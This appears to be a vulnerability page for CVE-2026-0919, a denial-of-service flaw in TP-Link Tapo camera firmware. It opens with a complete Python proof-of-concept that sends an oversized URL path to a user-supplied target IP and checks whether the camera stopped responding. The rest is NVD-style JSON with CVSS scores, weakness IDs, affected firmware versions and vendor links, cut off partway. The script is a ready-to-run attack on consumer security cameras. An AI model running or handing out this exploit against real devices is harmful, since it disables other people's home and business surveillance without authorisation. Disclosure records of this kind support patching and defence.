CVE-2026-0919

import socket import time def exploit_cve_2026_0919(target_ip, target_port=80): """ CVE-2026-0919 PoC - TP-Link Tapo Camera HTTP Parser DoS This PoC demonstrates how an excessively long URL path can trigger a denial of service condition in vulnerable Tapo camera firmware. Affected Models: Tapo C210 v3, C220 v1, C520WS v2 """ # Generate excessively long URL path to trigger buffer handling error long_path = "/" + "A" * 4096 # Craft malicious HTTP request http_request = f"GET {long_path} HTTP/1.1\r\n" http_request += f"Host: {target_ip}\r\n" http_request += "User-Agent: Mozilla/5.0\r\n" http_request += "Connection: close\r\n" http_request += "\r\n\r\n" print(f"[*] Sending malicious HTTP request to {target_ip}:{target_port}") print(f"[*] URL path length: {len(long_path)} bytes") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode('utf-8')) # Wait for potential crash time.sleep(3) # Try to reconnect to verify DoS condition try: sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2.settimeout(5) sock2.connect((target_ip, target_port)) print("[-] Target still responding - DoS may have failed") sock2.close() except: print("[+] Target not responding - DoS successful!") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = input("Enter target IP: ").strip() exploit_cve_2026_0919(target)

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Un atacante no autenticado puede forzar repetidos fallos del servicio o reinicios del dispositivo, causando denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c220_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.2", "matchCriteriaId": "F337B275-4344-4B21-9C3F-5E01F56C8015"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:tapo_c220:1:*:*:*:*:*:*:*", "matchCriteriaId": "671BCAEE-4AA0-4924-88E2-3B3C9087D171"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:tapo_c520ws_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.2.3", "matchCriteriaId": "65DE4797-2C90-4C4A-BCA1-41F514F8153D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:tapo_c520ws:2:*:*:*:*:*:*:*", "matchCriteriaId": "D8E6B561-8739-4823-9226-82FE5084EE01"}]}]}], "references": [{"url": "https://www.tp-link.com/en/support/download/tapo-c210/v3/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630"}, {"url": "https://www.tp-link.com/en/support/download/tapo-c220/v1/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/en/support/download/tapo-c520ws/v2/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630", "tags": ["Product"]}, {"url": "https://www.tp-link.com/us/support/download/tapo-c210/v3/", "source": "f23511db-6c3e-4e32-a477-6aa17d310630"}, {"url": "https://www.tp-link.com/us/support/download/tapo-c220/v1.60/", "source": "f23511db-6c3e-4e32-a477-6aa17d3106 ... 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